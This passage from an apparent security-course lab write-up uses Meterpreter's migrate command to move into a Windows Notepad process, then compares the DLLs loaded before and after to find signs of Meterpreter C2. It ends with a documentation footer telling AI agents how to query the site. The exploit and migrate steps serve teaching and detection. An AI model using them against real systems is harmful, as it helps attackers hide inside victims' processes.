This lab clarified the features of Metasploit, a crucial tool for both defenders and attackers. It helps them simulate real-world attacks effectively.

## Bonus: Examine DLL Information

Let's repeat the lab exercise, examining the DLL changes with the Notepad process before and after the migrate command.

First let's start Notepad on windows.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F75UzuhrBfELLMIxOT4wY%2FScreenshot(4).png?alt=media&#x26;token=9e190fca-7f37-4241-8c25-c9533f47a694" alt=""><figcaption></figcaption></figure>

Let's exit the current meterpreter session and exploit the target again.

```bash
exit 
exploit
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FcKT6SoqEQjFTyUnUHFAF%2FScreenshot(5).png?alt=media&#x26;token=ace08658-f47a-4d66-a3ff-76f4fdb9f8da" alt=""><figcaption></figcaption></figure>

Next, let's create a file with the list of DLLs open for the Notepad process.

```powershell
ps -name notepad -Module | select ModuleName > notepad-dll-before.txt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FkZVZpyZKkXx4nlczbweT%2FScreenshot(6).png?alt=media&#x26;token=cc1fbc92-e5f4-40c7-b04a-334f3b7ef8d8" alt=""><figcaption></figcaption></figure>

Now, let's try to migrate to notepad.exe from our meterpreter session.

```bash
migrate -N notepad.exe
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FJhv4DNasX8ah2pJyA2vc%2FScreenshot(7).png?alt=media&#x26;token=328a783c-433f-40e2-a655-d77b07d9882e" alt=""><figcaption></figcaption></figure>

Let's return to PowerShell again and create a new list of DLLs open for the Notepad process.

```powershell
ps -name notepad -Module | select ModuleName > notepad-dll-after.txt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FnSRAUntybYo0oQdcQuEL%2FScreenshot(8).png?alt=media&#x26;token=e3e56344-c49e-4dc0-aec5-1838805499ab" alt=""><figcaption></figcaption></figure>

Now, let's compare the two files.

```powershell
Compare-Object -ReferenceObject (Get-Content -Path .\notepad-dll-before.txt) -DifferenceObject (Get-Content -Path .\notepad-dll-after.txt)
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FXTNJ9IlcLIRwhIVjLfGp%2FScreenshot(9).png?alt=media&#x26;token=cca9ee93-208c-4d47-99b3-c80a9bd95e15" alt=""><figcaption></figcaption></figure>

Several extra DLLs load into the Notepad process after the Meterpreter migrate command. While these DLLs aren’t harmful, they are unusual for most Windows processes, helping us spot potential signs of an attacker using Meterpreter C2 on our systems.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://faresbltagy.gitbook.io/footprintinglabs/sans-sec504-and-labs/book-four/metasploit-framework.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
